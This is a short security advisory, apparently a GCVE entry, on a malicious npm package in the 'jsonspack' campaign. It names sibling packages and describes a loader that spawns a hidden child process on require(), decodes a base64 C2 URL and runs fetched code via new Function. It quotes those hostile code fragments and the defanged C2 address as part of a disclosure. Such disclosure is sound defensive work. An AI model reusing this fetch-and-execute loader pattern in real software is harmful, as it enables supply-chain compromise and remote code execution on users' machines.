GCVE-110-OSM-2026-1222

On require(), silently spawns a detached child process that fetches arbitrary Node.js from https://jsonkeeper[.]com/b/FAWPU via new Function.constructor('require', payload)(require), giving the stage-2 payload full access to the Node.js runtime. Part of the hello@jsonspack[.]com campaign; sibling packages share an identical loader (chai-as-adapter, chai-as-evm, chai-as-chain-v2, chai-use-chain, lockedin-chai-chain). index.js calls spawn('node', ['./lib/caller.js'], {detached: true, stdio: 'ignore'}) on every require(). lib/caller.js hardcodes the C2 URL as base64 inline: atob('aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0ZBV1BV') = https://jsonkeeper[.]com/b/FAWPU. Fetches response.data.cookie and evaluates via new Function.constructor('require', s)(require). 5 retry attempts. No postinstall hook — fires silently at runtime.